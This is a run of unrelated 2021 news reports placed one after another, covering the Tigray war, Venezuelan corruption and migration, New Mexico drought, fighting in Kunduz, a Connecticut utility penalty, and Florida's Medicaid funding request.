Ms Stefanik has long-prioritized electing Republican women. As such, shes raised $60,000 for Susan Wright ahead of her race to replace her late husband Ron in Texass 6th District. Wright is running against Jake Elzey, who is also a Republican.

Other women who received Ms Stefaniks cash include Reps Marianette Miller-Meeks of Iowa, Julia Letlow of Louisiana (who won a special election in March) and Claudia Tenney of New York along with Iowa Sen Joni Ernst. But she also raised money for men such as Sens Josh Hawley of Missouri and Tim Scott of South Carolina, as well as Rep Mike Garcia of California.

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Joining Trump at border, GOP congressman eyes path to power

Joining Trump at border, GOP congressman eyes path to power

Laws prohibiting handgun sales to people under 21 are unconstitutional, appeals court rules
Ethiopian leaders warned Wednesday they were ready to launch a new offensive against their "enemies" after rebels pushed deeper into Tigray, effectively tearing up a government-declared ceasefire in the war-torn region.

Tigrayan forces this week claimed a series of fresh battlefield gains, two weeks after sweeping through much of the northern region and recapturing Tigray's capital Mekele in a stunning turnaround eight months into the conflict.

Prime Minister Abiy Ahmed, a winner of the Nobel Prize, said the government -- which announced its ceasefire on June 28 -- chose peace at a "cost" in the hope it would quell fighting, allow farmers to plant harvest, and facilitate aid into the stricken region.

But Ethiopia's enemies were "unable to rest without conflict" and posed a threat that must be curbed, he said.

"We will defend and repel these attacks by our internal and external enemies, while working to speed up humanitarian efforts," Abiy said in a statement posted on Twitter.

His warning was echoed by General Bacha Debele of the Ethiopian National Defence Force who said it was "ready to restart the offensive and re-enter the areas occupied" by the Tigrayan rebels, according to state media.

Military forces in the neighbouring region of Amhara that had controlled swathes of Tigray before the war and are fighting in support of the federal army issued similar threats.

Abiy, who won by a landslide in June elections to secure a five-year term, urged Ethiopians to stand behind the army in defence of the nation and resist "outside pressure and internal provocation".

- New offensive -

The 44-year-old leader sent troops into Tigray last November after accusing the region's once-dominant ruling party, the Tigray People's Liberation Front (TPLF), of orchestrating attacks on Ethiopian military bases.

Abiy quickly declared victory but in June the rebels recaptured Mekele, dramatically changing the face of a conflict that has killed thousands of people and pushed the region to the brink of famine.

Story continues

Abiy and Ethiopian officials characterised their troop withdrawal from Mekele as a strategic move.

But the rebels, rebranded as the Tigray Defence Forces (TDF), described it as a major victory and decried the ceasefire as a "joke".

They later accepted it "in principle" while demanding the complete withdrawal from Tigray of Eritrean forces and Amhara militia.

But on Tuesday, the TDF announced a new phase of the war, claiming it had seized Alamata, the main town in the region's south, and pushed westward toward fertile farmland long contested by ethnic Amharas.

The United States has raised concerns about ethnic cleansing in western Tigray, where Amharan forces have been accused of expelling thousands of people from land they claim rightfully belongs to them.

A spokesman for the Tigrayan forces told AFP the rebels would "liberate every square inch of Tigray".

- 'Needless suffering and death' -

The rebel claims could not be independently confirmed as communications were largely down in the area.

But the United Nations and humanitarian sources reported fighting around several towns in western Tigray, and confirmed that clashes between rival forces in a refugee camp had sent people fleeing.

The US ambassador to the UN, Linda Thomas-Greenfield, voiced concern on Wednesday at reports of expanding conflict in Tigray, saying that "continued fighting will only lead to needless suffering and death".

"All parties to the conflict should immediately agree to a negotiated ceasefire and political dialogue," the ambassador said in a statement.

The war has been characterised by atrocities against civilians, including grisly massacres and rampant sexual violence, including allegedly by Eritrean forces.

The UN Human Rights Council on Tuesday called for an immediate end to all violations in Tigray and for Eritrean troops to quickly withdraw in a verifiable manner.

In his statement Wednesday, Abiy accused Tigrayan forces of conscripting and drugging child soldiers, and claimed the army had a "moral responsibility" to intervene on their behalf.

The war has badly damaged Abiy's standing as a peacemaker, and strained Ethiopia's ties with traditional allies that a few years ago were praising the young leader's committment to democratic reforms.

Western powers have demanded the ceasefire be accompanied by unfettered aid access and the withdrawal of Eritrean troops, warning of possible sanctions should these conditions not be met.

The World Food Programme said this week that it had reached Mekele with food supplies but far more was needed to address the massive need in a region where the United Nations says famine conditions are already present.

str-rcb/ho/txw/har
By Foo Yun Chee

BRUSSELS (Reuters) - A key EU lawmaker at the European Parliament steering the debate on tough new rules aimed at Facebook, Google and other large online platforms, secured backing to beef up Europeans' fundamental rights in the draft rules.

Proposed by the European Commission in December last year, the Digital Services Act (DSA) forces the tech giants to do more to tackle illegal content such as hate speech and child sexual abuse material on their platforms.

However, Greens lawmaker Patrick Breyer, who is responsible for shepherding the DSA through Parliament on behalf of the assembly's civil liberties and justice committee, wants more emphasis on fundamental rights and digital privacy in the rules.

The committee on Wednesday adopted his proposals, which will need to be agreed by two other committees looking into the draft rules. Parliament aims to come up with a common position by the end of this year.

"It is clear that the European Parliament proposal will be much more ambitious than the Commission's proposal, in some aspects it could be groundbreaking," Breyer told Reuters in an interview.

His proposals include the right to use and pay for digital services anonymously wherever reasonably feasible, phasing out behavioural and personalised targeting for non-commercial and political advertising and no obligation on platforms to block access to content.

The final parliament proposal will have to be thrashed out with EU countries, with the rules likely to come into force next year.

(Reporting by Foo Yun Chee;Editing by Elaine Hardcastle)
European Union election experts met on Wednesday with Venezuela's defense minister and Supreme Court president, at a time when the opposition is demanding the release of a top leader accused of terrorism and treason.

The EU representatives arrived in Venezuela a week ago to study the possibility of sending a mission to observe mayoral and gubernatorial elections in November, following an invitation from President Nicolas Maduro.

"Enjoyable meeting with the European Union's Electoral Exploratory Mission, on the eve of the next mega-elections that will take place in Venezuela," Defense Minister Vladimir Padrino tweeted.

"We reiterated our democratic calling and the fundamental role the (armed forces) play in guaranteeing peace."

Venezuela's armed forces are the main authority backing Maduro's continued hold on power, despite pressure from the opposition and international sanctions.

Earlier, the EU delegation met with the Supreme Court leadership.

"Our goal is peace and respect for the will of the people," said court president Maikel Moreno in a statement released by the body, which is dominated by Maduro loyalists.

The EU has not responded to AFP requests for comment on the meetings.

It is not known whether the arrest on Monday of opposition figure Freddy Guevara, part of an opposition group that met with the EU delegation last week, was discussed.

Guevara, a 35-year-old former student leader, posted on social media from inside his car as he was being intercepted by intelligence agents on a Caracas highway.

He is a close ally of opposition leader Juan Guaido, recognized by the United States and several other nations as Venezuela's leader.

Guevara's arrest came despite plans for the opposition to sit down with the government for stalled peace talks to end the country's political crisis.

Maduro said on Monday those talks, to be held in Mexico, would only go ahead if international sanctions are lifted and he is protected from any plots to oust him.

Story continues

Most European and Latin American nations, along with the United States, consider Maduro to be illegitimate after wide reports of irregularities in his 2018 election.

The EU deems 2015 legislative elections, in which the opposition took control of the legislature, to be the last "free expression by Venezuelans in an electoral process."

The opposition lost control of the assembly last year after boycotting an election it said would be neither free nor fair.

jt/pgf/mbj/gm/bc/sw
Connecticut regulators on Wednesday ordered Eversource and United Illuminating to return nearly $30 million to customers as a penalty for mishandling Tropical Storm Isaias last year.

In its final decision that rebuked the electric utilities preparation before, and response after, the Aug. 4, 2020, storm, the Public Utilities Regulatory Authority ordered Eversource to issue credits of $28.4 million on customers monthly bills.

United Illuminating must give credits to customers of about $1.2 million.

Credits will be returned as a separate line-item on customers bills and will be based on the kilowatt-hours used. Credits will be issued beginning Aug. 1 and last through July 31, 2022.

Regulators said Eversource did not satisfy performance standards for its municipal liaison program, follow safety protocols related to clearing blocked roads, communicate critical information to customers or secure adequate resources in a timely manner to protect public safety.

Eversource, which serves about 1.3 million customers, said its employees work tirelessly to restore power as quickly as possible.

We cannot control the weather or the damage that is caused by falling trees and vegetation when storm damage occurs, the utility said. However, our employees are relentless in returning to the field every time they are called upon to repair the damage and get the power back on as quickly as safety allows.

PURA criticized UI for failing to satisfy performance standards for safety protocols and priority call duties. A spokeswoman for UI did not immediately respond to a request for comment. The utility serves about 339,000 residential and business customers in the Bridgeport and New Haven areas.

The decision is final, but the dispute between the utilities and regulators continues. Eversource and UI have appealed in state Superior Court a separate punishment imposed by the state, which ordered a reduction in Eversources return on equity by 0.9%, or about $31 million a year, and a 0.15% cut for UI, amounting to about $1 million a year.

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Return on equity is a measurement of a companys profitability.

Regulators, state legislators and Gov. Ned Lamont struck hard at the two utilities following the storm that left as many as 1 million customers without power, in some cases for as long as a week.

Lawmakers and Lamont enacted legislation requiring the utilities to provide residential customers a credit of $25 for each full day, or 24 hours, of an outage that lasts more than 96 consecutive hours after an emergency. They also must provide residential customers $250 in compensation for medication and food that expired or spoiled due to a service outage lasting longer than 96 consecutive hours.

Stephen Singer can be reached at ssinger@courant.com.
A Gambian court sentenced an ally of ex-dictator Yahya Jammeh to death Wednesday for his role in the murder of a former finance minister, an AFP journalist saw.

Jammeh seized power in 1994 as part of a bloodless military coup in the tiny West African state.

He then ruled with an iron fist until January 2017, when he fled to Equatorial Guinea after losing presidential elections to a relative unknown, Adama Barrow.

Gambia's government subsequently established a Truth, Reconciliation and Reparations Commission (TRRC) to investigate Jammeh-era abuses, which heard several hundred witness testimonies between 2019 and May.

But Yankuba Touray -- a member of the junta that ruled The Gambia for some two years after the 1994 coup -- refused to testify at the TRRC in 2019.

Public prosecutors then charged him with the 1995 murder of former finance minister Ousman Koro Ceesay.

On Wednesday, the court in the capital Banjul found Touray guilty of committing the murder, according to an AFP journalist present.

"The sentence of death shall be by hanging," Justice Jaiteh told the courtroom.

He added that Touray had ensured that no investigation was carried out after the murder and that the victim's body was "burnt beyond recognition".

The Gambian government placed a moratorium on the death penalty in 2018, although the sentence is still on the books.

A lawyer for Yankuba Touray said that the ex-Jammeh ally will appeal the court's decision.

Touray's lawyers had initially argued that, as a former junta member, the constitution guaranteed him immunity from prosecution.

But the Gambian Supreme Court dismissed this argument.

The TRRC is expected to deliver a report on its findings this month. Victims are hoping that the findings will pave the way towards charges against the ex-dictator himself.

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A former top lawyer in Venezuelas oil ministry who has been helping U.S. authorities drill deeper into a $1.2 billion money-laundering case fueled by government corruption pleaded guilty in Miami federal court Wednesday almost one year after he surrendered.

Carmelo Urdaneta Aqui, the former legal counsel to Venezuelas Ministry of Oil and Mining who had sneaked across the border with Colombia en route to Miami, is the fourth defendant to plead guilty in the massive case. Five other defendants remain fugitives.

Urdaneta was accused of accepting tens of millions in bribes along with other officials in the state-owned oil company known as PDVSA from wealthy business people who in turn made highly profitable loan deals with Venezuelan President Nicolas Maduros government .

Urdaneta, 47, who has been free on a $1.5 million bond since surrendering, faces up to 10 years in prison but might receive less punishment at his sentencing in September before U.S. District Judge Kathleen Williams because of his cooperation. As part of his guilty plea to a single money-laundering conspiracy charge, federal prosecutors are seizing a $5.3 million condo in the Porsche Design Tower in Sunny Isles Beach, along with two apartments in Miami Beach and all assets in Urdanetas Swiss bank account.

In total, U.S. authorities have moved to take more than $49 million from Urdaneta that is traceable to his criminal activity of accepting bribes in exchange for providing access to lucrative Venezuelan government contracts such as business loans and currency trades, prosecutors Kurt Lunkenheimer and Paul Hayden said in court papers.

Urdaneta, who held various positions in the Venezuelan Ministry of Oil from 1997 to 2015, was not only a central government player in the $1.2 billion money-laundering case filed in Miami but also had a supporting part in another loan and currency scheme earlier in his career, according to a factual statement filed with his plea deal.

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The cases main money-laundering conspiracy began in late 2014 with a sham loan to PDVSA that was repaid through a government currency-exchange scheme  siphoning $600 million from the state-owned oil companys coffers, according to a criminal complaint. The defendants used an associate to launder a portion of the PDVSA funds in the United States. By 2015, the conspiracy had doubled to $1.2 billion embezzled from Venezuelas national oil company.

The alleged ringleader was Venezuelan Francisco Convit Guruceaga, who is accused of plotting with Urdaneta, other officials at PDVSA and influential business people with access to the highest levels of government.

Convits defense attorney, Adam Kaufmann in New York, has declined to comment while his client remains in Venezuela.

Since 2018, federal prosecutors and Homeland Security Investigations have moved to freeze hundreds of millions of dollars in bank and real estate assets belonging to the nine defendants named in the Miami money-laundering indictment and a related case.

The first was Venezuelan banker Matthias Krull, who pleaded guilty to conspiring to launder some of the PDVSA money secreted away in European bank accounts. He paid $600,000 to satisfy a forfeiture judgment and started his three-and-a-half-year sentence earlier this month.

In May of this year, Abraham Edgardo Ortega, a former executive director of financial planning at PDVSA, was sentenced to two years and four months after he admitted accepting more than $12 million in bribes that were secretly wired to U.S. and other financial institutions.

Ortega, who served as PDVSAs top financial officer from 2014 to 2016, admitted that he conspired with the leader of the money-laundering ring, Guruceaga.

Ortega also said he collaborated with a Miami-based investment broker, Gustavo Adolfo Hernandez Frieri. Hernandez pleaded guilty to accepting $12 million from Ortega to invest in fake mutual funds in the United States so that the transactions looked legitimate, prosecutors said. Hernandez was sentenced to nearly four years.

Ortega and Hernandez each face $12 million forfeiture orders, but court records reflect that the former PDVSA official only kept $3 million of that amount and Hernandez kept the rest. Prosecutors are targeting Hernandezs New York City residence and a Miami home as substitute assets for his forfeiture order.

Some of the so-called Venezuelan kleptocrats charged in the indictment with Ortega and Hernandez have connections with Venezuelan President Maduro, who is a suspect in the ongoing investigation, according to federal law enforcement sources familiar with the case.

Maduros three stepsons are also under investigation, along with a wealthy Caracas TV mogul, Raul Gorrin, who was charged in a separate money-laundering case in Miami and remains in Venezuela.
Jul. 14Drive past any major body of water in New Mexico, and you will probably see the harsh reality of the state's drought.

Simply put, our water supply is pretty much tapped out.

"There is no buffer left ... no cushion," David Gutzler, a recently retired climatologist from the University of New Mexico, told members of the interim Water and Natural Resources Committee.

"We have one hell of a water challenge," he said. "And we better plan for it."

The drought affecting New Mexico is just one of many events impacting its limited water supply, experts told the lawmakers Tuesday. As temperatures rise because of climate change, snowpack levels are limited and the speed at which they melt accelerates.

When they melt fast, that leads to less runoff water for the state's waterways, Gutzler said.

"We get a lot less water in the river for the same amount of snow falling in the autumn and winter," he said.

Committee members had a sobering morning full of similar testimony on New Mexico's water resources, with all signs pointing to near empty.

Though monsoon rain is always of some help, it's not enough to mitigate the combined effects of drought and other climate changes, said state climatologist David DuBois.

He said the 2020-21 rain season was the fourth driest on record. The year before was hardly better, he said  it was the seventh driest.

He added the effects are noticeable through the state's ecosystem  forests, animals, crops.

The bad news, though not surprising, hit home for legislators in the hearing. Many agreed the forecasts would force New Mexico to change the way it thinks and handles water in a world where there's not enough to go around.

Noting the state's reliance on water compacts with other states to get and give water, Sen. Joe Cervantes, D-Las Cruces, said: "This is about economics. In the end, water will be about money."

Cervantes said water that is available should be managed in economic terms  find out who owns it and make a deal to buy it.

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He and Sen. Pat Woods, R-Broadview, said a lack of water will affect the state's agricultural industry, plus create other industries and provide jobs.

It also could stunt the state's population growth, Woods said  a point the climatology experts did not contest.

Reservoir capacity statistics from around the state tell the story of an upstream battle to conserve water.

Near Truth or Consequences, Elephant Butte Lake is filled to just 7 percent of its capacity. El Vado Dam on the Rio Chama, about 80 miles northwest of Santa Fe, is at 10 percent.

In Santa Fe, the two city reservoirs  Nichols and McClure  are at, respectively, 55.6 percent and 13.2 percent.

As of this week, about half of New Mexico was in extreme or exceptional drought conditions, according to the U.S. Drought Monitor. It was worse a month ago, before recent rains brought some relief.

Some members of the committee suggested finding a way to get communities to share existing water resources. Paula Garcia, executive director of the New Mexico Acequia Association, told the committee many communities relying on the acequia system can find ways to do that.

But, she said, drought conditions can lead to conflict and tension over the use and transferral of water use as well.

"It's not like a deck of cards where you can just move the cards around the table and reassign cards to another person," she said. "Moving water rights has consequences and can affect water rights folks around you."

Rolf Schmidt-Petersen, director of the New Mexico Interstate Stream Commission, told the lawmakers many larger cities and municipalities in the state are doing a good job planning for water use and shortages.

But, he said that "even with rains, our reservoirs are empty."

He told the committee his staff is working on reviewing water-related capital projects, drought operations and litigation related to water rights, among other steps. The commission has scheduled a July 21 webinar to discuss some of those preliminary steps for a state plan to address the issue.

Efforts to reach State Engineer John D'Antonio for comment Tuesday were unsuccessful.

Gov. Michelle Lujan Grisham has convened both a drought task force and climate change task force to look for ways to mitigate the problem over the next five years.

Cervantes, who said he has served on the Water and Natural Resources Committee for about 20 years, said the state needs to act quickly on the issue.

Referring to supply shortages that took place earlier in the pandemic, he said, "If you think things were bad when you couldn't get toilet paper, imagine your concern when you turn on the faucet and you cannot get water."
The main square in Kunduz, Afghanistan, on July 7, 2021. (Jim Huylebroek/The New York Times)

KUNDUZ, Afghanistan  The Afghan way of war in 2021 comes down to this: a watermelon vendor on a sweltering city street, a government Humvee at the front line just 30 feet away and Taliban fighters lurking unseen on the other side of the road.

When the shooting starts, the vendor makes himself scarce, leaving his melons on the table and hoping for the best. When it stops, selling resumes, to customers now all too rare.

I dont have a choice. Ive got to sell the melons, said the vendor, Abdel Alim, speaking to New York Times journalists while he kept an eye on a lane within Kunduz city from which he said Taliban had emerged. Most people have left. There is fighting all the time.

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The Taliban are pressing in on all sides of Kunduz, a provincial capital of roughly 374,000 in Afghanistans north, and several other provincial capitals as well, as the Afghan governments war with the Taliban enters a new and dangerous phase. For weeks, the insurgents have captured vulnerable districts across the countrys north, sometimes without even firing a shot. And Wednesday, the Taliban said they had captured an important border crossing with Pakistan, at Spin Boldak  the fourth crossing they have seized in less than a month.

It is all part of a broader strategy to tighten the noose around the Afghan capital, Kabul. The insurgents are sewing up the Afghan countryside, cutting off the road network, and squeezing the increasingly enfeebled central government.

In late June, the Taliban entered Kunduz city, testing their limits against soldiers and police  the ones who have not given up  in the provincial capitals streets. Times journalists went there last week to assess the heavy toll the fighting is taking on a crucial city.

Civilians in the crossfire are paying the price. Dozens have been killed and injured; up to 70 a day are brought to the hospital, said Mohammed Naim Mangal, director of Kunduz Regional Hospital. Monday night, two young residents were killed in the crossfire near Alims watermelon stand.

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The jagged front line of combat is often just a block or two away from wherever you happen to be, down quiet streets lined with dusty sycamore trees and low mud brick dwellings baking in the heat. The Taliban are inside the city and outside of it, keeping bedraggled soldiers and police awake all night. The sound of their mortar fire mingles with the call to prayer as the sun goes down.

As of mid-July, the Taliban are inside four out of this citys nine municipal districts, battling for control with the government forces.

Much of the fighting happens at night when the fierce heat diminishes. During the day, the city center bustles with vendors, but there are few shoppers. There is risk here for seller and buyer. Closest to the front lines, the shops are shuttered, metal canopies drawn tightly down, glass windows blasted out.

Its permanent war, said Mustafa Turkmen, a carpet seller. No one can come here, and no one can leave. Every night when I wake up, I hear gunfire.

He comes to his shop nonetheless.

Barely holding the line inside the city are the governments special forces, better trained and tougher than the regular troops. These commandos have taken over an abandoned cotton oil factory, once the symbol of this regions stillborn prosperity. Their commander, Lt. Col. Masound Nijrabi, expressed scorn for the regular forces who fail to hold the territory he and his men are forced to claw back from the encroaching Taliban each day.

Its not our job to keep these areas, he said, fingering prayer beads. The Taliban are coming closer. They are forcing people to leave their homes. His men looked tired. Too much fighting.

Inside his office last week, the provincial governor wept.

The pressure is tremendous, said Gov. Najibullah Omarkhil, dabbing his eyes with a tissue. There is no doubt, everyones life is in danger. Its a big weight on my shoulders. And it could get worse.

The nearby front is an abandoned gas station where two RPG-pocked government Humvees are parked. The ragged soldiers there are fully caught up in the nocturnal war.

We dont sleep at night, said Sgt. Abdul Malik, 31. Theres fighting every day.

As he spoke, his comrade stalked around the station in a T-shirt, carrying a U.S.-made M4 carbine.

When it starts, its hell, said Hamidullah Hamidi, a grocery store owner down the street.

He shuts down at 4 p.m. but cannot always avoid the fighting.

The districts surrounding Kunduz have all been captured by the Taliban. The roads leading out of town are under their control. For the moment, though, the local airport is still functioning, though not for commercial traffic. A government helicopter was damaged there during fighting Sunday night.

More than 35,000 residents in and around Kunduz have been forced out of their homes, according to the United Nations. Many of the displaced are living miserably, outside, exposed to the extreme heat  115 degrees during the day  hungry, with no privacy, the only shelter ragged sheets strung up on wooden poles.

Every day, there are mortars. We had no choice, said Ali Mohammad, 57, a village elder from the suburb of Charkhab, camping out with hundreds of others  women, children and the elderly  on the grounds of the Bibi Amina school, one of six schools allocated for those forced to flee.

Last night I was hungry. No one is helping us, Mohammad said.

Four children, ages 1 to 9, clutched at the burqa of their mother, Zakira Akbar.

An animal couldnt even live here, said Akbar, 30. The government should help us as soon as possible.

With the capture of mostly undefended rural districts sewn up, the Taliban have begun to push boldly in, firing from abandoned houses at the edges into the municipal police stations or lightly manned military positions within the cities. The residents of these now-empty houses have either fled or been pushed out by the Taliban.

Elsewhere in the country, several other provincial capitals are under siege. Last week, the Taliban forced their way past the perimeter of Afghanistans second-largest city, Kandahar, in the south. On Tuesday, fighting continued in four of the citys police districts. Dozens of wounded civilians in Kandahar have been brought to the hospitals. Thousands have fled.

In neighboring Helmand province, the capital, Lashkar Gah, is on the verge of collapse, say members of the provincial council. At least three other cities are under attack or surrounded.

Kunduz has a recent history of conflict with the Taliban. It was briefly taken by the insurgents in 2015 and then again in 2016. Both times, the insurgents were eventually pushed back by Afghan forces with help from U.S. airstrikes. It was here that a U.S. gunship mistakenly blasted a Doctors Without Borders hospital in 2015, killing 42 people.

This time, the Americans will not be coming. The battle for Kunduz has become an intimate fight between Afghan opponents at close range.

Every night they come to these houses and fire on us, said the chief of police of Kunduzs 3rd Municipal District, Sayed Mansoor Hashimi, looking out at now-vacant dwellings all around his police station. Slowly, slowly they are tightening the circle.

The war in Kunduz is intertwined with the fabric of the city. Shopping trips are planned between bursts of war. Residents no longer pay sufficient attention, said Marzia Salam Yaftali, medical director at Kunduz Regional Hospital.

They are wounded in the streets or in the bazaar, she said.

At the hospital, Ezzatullah, 14, lay in one of the wards, his legs wrapped in bandages: He lost both his feet when a mortar landed as he was playing outside his house. Three members of his family, including one of his parents, were killed.

I cant go to school now, he said. Asked what he saw as his future, he replied firmly: I want to be a man, to rebuild my country.

The war, and the enemy, are inescapable.

We have to live here. Where can we go? asked Ezamuddin Safi, a telecommunications worker who had to flee his home inside the city in early July.

He was passing the day inside a small downtown restaurant.

My 3-year-old boy, he screams when he hears the firing. Hes tired, said Safi, 25. Taliban are everywhere.

 2021 The New York Times Company
By Sarah Kinosian and Alexandra Ulmer

CARACAS/SAN FRANCISCO (Reuters) - When Antonio joined anti-government demonstrations in Venezuela five years ago to protest against daily power outages and long lines for food, he hoped to be part of a movement to unseat President Nicolas Maduro.

Instead, Maduro has remained in power and Antonio suffered years of threats and extortion from police in retaliation, he said. In April, after a sixth extortion attempt, he joined a growing number of Venezuelans fleeing north to the United States.

"After years of death threats and living in constant fear, I had to leave," Antonio said by phone from his brother's home in Miami, Florida, asking to not use his real name because he feared his family in Venezuela could be threatened. "It also kept getting harder to get food. My parents were suffering and you get to a breaking point, especially with constant (electricity) blackouts."

Record numbers of Venezuelans have been attempting to cross the U.S.-Mexican border in recent months, some facilitated by rapidly-adapting smuggling networks.

Driven out of their homeland by a deep economic crisis and what many have described as political repression, often they initially settled elsewhere in Latin America. But as the coronavirus pandemic has caused increasing economic instability in the region, and resentment of Venezuelan migrants has risen, some have decided to try their luck in the United States instead.

Over 17,000 Venezuelans arrived at the southern U.S. border in the last eight months - more than in the previous 14 years combined - according to data from the U.S. Customs and Border Protection (CBP) agency. Many hope to claim asylum.

That forms a small, but growing, part of the 900,000 migrants arrested or expelled by U.S. officials at the southern border since October - the majority of them from Central America or Mexico.

Antonio says he crossed the U.S. border in May, after paying $4,000 in travel costs and fees to smugglers. He raised the money - a fortune in Venezuela - with help from family in other countries.

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Antonio caught a bus to the Colombian capital Bogota, from where he flew to the Mexican resort town of Cancun. A Venezuelan smuggler from Antonio's hometown of Maracaibo helped him pass Mexican authorities.

In Mexicali, he paid the smuggler $800 to ferry him into Arizona, where he turned himself over to border patrol and was held in a migrant detention center for six weeks before being released to await his asylum hearing.

"At the border crossings right now there are a lot of Venezuelans, but there are also a lot of Venezuelan smugglers, so it wasn't hard to find one," said Antonio.

Reuters was unable to independently verify Antonio's account.

VENEZUELAN DIASPORA

Since 2013, when Maduro took office, more than 6 million Venezuelans have fled an economic crisis that resulted in chronic shortages of gasoline, water and medicine. Protests in 2014 and 2017 also led to a backlash by authorities against perceived opponents.

The vast majority of Venezuelan migrants resettled in nearby nations, including Colombia, Panama, Ecuador, and Mexico.

But after coronavirus-related lockdowns crippled these countries' economies, thousands are heading to the United States - in many cases, after being fed misinformation from smugglers and others about what awaits them there.

In March, U.S. President Joe Biden granted https://www.reuters.com/article/us-venezuela-usa/biden-grants-temporary-protected-status-to-venezuelans-in-u-s-who-fled-countrys-turmoil-idUSKBN2B02H9 temporary protected status (TPS) to Venezuelan migrants living in the United States, allowing them access to work visas and relief from deportation.

The measure only benefits Venezuelans in the United States as of March 8.

But immigration experts say the decision has caused confusion around who it applies to and may be one of several factors fueling migration.

Maria Antonietta Diaz, president of the Florida-based Venezuelan American Alliance, said in early July that her office had received about 50 messages from Venezuelans in the last month who believed they would be eligible for TPS if they arrived by August.

"There is misinformation," she said. There was also "a false expectation that somehow they will be able to ask for asylum and it's very easy."

In a half-dozen audio recordings and posts on Instagram reviewed by Reuters, people purported to offer "guide services" to Venezuelans seeking to reach the United States.

"Here in the United States news came out that Joe Biden authorized the entry of 500 Venezuelan citizens who come in through the border illegally," said one audio recording posted on the Instagram account of Venezuelan blogger Sergio Vitanza Belgrave on May 18. "They will be let in, will receive TPS, a work permit and humanitarian asylum."

Vitanza, who says he lives in Chile and has over 12,000 followers, told Reuters that he had posted recordings from a "friend" and that "many people" had told him his posts had helped them reach the United States.

Brian Fincheltub, head of consular affairs at the opposition-run Venezuelan embassy in Washington, said there were growing smuggling networks out of Venezuela, some taking advantage of desperate Venezuelans.

Even those who normally shuttle clients from Central America are getting a piece of the new business.

Antonio, a smuggler from El Salvador, said in early July that he had taken more Venezuelan clients in the past five months than ever before. From southern Mexico he charges $3,000 to take them to the U.S. border, where he instructs them to turn themselves in to U.S. border agents to request asylum.

For the more complex illegal crossing into southern Texas, he charges $14,000.

"Once we get to northern Mexico, I tell them not to talk, because the cartel I deal with charges more for Venezuelans," he told Reuters by telephone. "They tend to have more money (than Central American migrants) or at least have families with money if they are going to the U.S."

ANOTHER MOVE

Some Venezuelans have made multiple moves as they seek a better life.

Miguel Sanchez, a 39-year-old oil technician from the eastern Venezuelan city of Puerto Ordaz, said he fled to Colombia in 2016 after being sacked from his job for voting for the opposition.

After realizing pay was better in Panama, he moved to Panama City, where he met his boyfriend, another Venezuelan.

But once salaries for undocumented Venezuelans dropped during the pandemic and the couple became the targets of xenophobic and homophobic attacks, they say, the two decided to try the United States.

Last month they flew from Panama to Cancun, a place that Venezuelan migrants told Reuters has a reputation of having less stringent border controls than Mexico City. Mexico's immigration authority did not respond to a request for comment.

Now the couple are in the northern city of Reynosa - across the border from McAllen, Texas - where they are waiting at a shelter to apply for asylum.

"Because Latin America's economies have taken a hit, everyone is looking to go to the States for some stability," said Sanchez.

(Reporting by Sarah Kinosian in Caracas, Alexandra Ulmer in San Francisco and Mariela Nava in Maracaibo, Editing by Rosalba O'Brien)
Gov. Ron DeSantis administration is asking the federal government for an additional $1.1 billion in federal Medicaid dollars over the next two years to bolster access to home- and community-based programs and steer hundreds of millions of dollars to poor, elderly and disabled Floridians to purchase technology and make home improvements that enable them to age in place.

Florida submitted a proposal to the Centers for Medicare and Medicaid Services late Monday night that, if approved, would also direct $191 million to enroll more individuals in the states home- and community-based Medicaid waiver program  dubbed the iBudget program  for people with intellectual and developmental disabilities.

The additional federal Medicaid funding the state is seeking is available under a provision in the American Rescue Plan Act, a stimulus package signed by President Joe Biden in March, that allows the state to draw down a 10 percentage-point increase in federal funds to bolster home- and community-based services in state Medicaid programs.

Floridas decision to seek such a large influx of federal cash for healthcare programs runs counter to previous years, in which Republican leaders have been skeptical about tapping into additional federal money for healthcare.

If the Biden administration signs off on the plan, none of the money could be spent without approval from the Legislative Budget Commission, according to Sen. Aaron Bean, R-Fernandina Beach.

The 14-member panel, composed of seven state representatives and seven state senators, is authorized to make spending decisions on behalf of the Florida Legislature.

Advocates for poor, elderly and disabled individuals, who have been pressing the DeSantis administration to leverage the additional funding since spring, hailed the plan.

Oh, my God. This is absolutely fantastic news, Valerie Breen, executive director of the Developmental Disabilities Council of Florida, told The News Service of Florida Monday night. We are pleased with the governors decision to move ahead with the home- and community-based waiver dollars. We know that our families and individuals will be extremely pleased with this decision.

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Jim DeBeaugrine, a former secretary of the state Agency for Persons with Disabilities, said he was thrilled with the proposal.

It definitely looks good, said DeBeaugrine. Im pretty excited to see this, and I look forward to learning more.

The states proposal notes that more than 108,000 Floridians in different Medicaid waiver programs receive home- and community-based services.

Some of those people have intellectual and developmental disabilities and are enrolled in the iBudget program or are on a waiting list for the program. Roughly 20,000 people are on the waiting list for the program, which is administered by the state Agency for Persons with Disabilities.

Other people who are frail enough to qualify for nursing-home placement who choose to live at home with the assistance of home- and community-based services are enrolled in  or on a waiting list for  the states long-term care waiver program. Approximately 60,000 people are on the waiting list for the waiver program, which is administered by the Florida Department of Elder Affairs.

While the proposal submitted to the Biden administration this week would target $191 million to reduce the iBudget waiting list, the plan does not include money to reduce the waiting list for the long-term care waiver program.

According to the proposal, the state is asking for nearly $128 million in federal funds to provide one-time stipends to people age 60 and older in the long-term care waiver program. The stipends can be used for purchases ranging from air conditioners to technology.

The states plan also shows that the DeSantis administration wants to provide another $127 million in stipends to other Medicaid enrollees receiving home- and community-based services. Half of the funds  $63,584,500 would be directed toward technology stipends and the other half would go toward stipends for home improvements or other purchases that promote aging in place.

The lions share of the states proposal would direct $623,030,996 toward one-time payments to businesses that provide home- and community-based services to Medicaid clients.

But the plan doesnt provide details about how the money would be distributed among different providers.

Thats one of the $64 questions. What is the split between the DD [developmental disability] population and the elderly receiving home- and community-based services and other adults with disabilities that arent covered through the Agency for Persons with Disabilities? DeBeauigrine said. Hows that going to split out? A lot of people in our world are going to be pretty interested in knowing those details.

Miriam Harmatz, the director and founder of the Florida Health Justice Project, also said that the document doesnt distinguish how provider payments will be distributed between the waiver programs. Harmatz, whose association advocates for universal healthcare coverage, said that salary increases are needed for providers in both waiver programs.

These are heroes we have to pay a living wage and provide benefits and make it a career path for people who are called for caregiving. And there are some angels among us. Thats a very hard job, Harmatz said.

And while the potential for a $1.1 billion infusion is promising, Harmatz emphasized the need for a continued commitment to provide additional funds for home- and community-based services.

Harmatz helped spearhead a letter to Floridas congressional delegation asking lawmakers to continue the increased funding for home- and community-based services. The letter was signed by more than 400 individuals and organizations that support the additional funding.
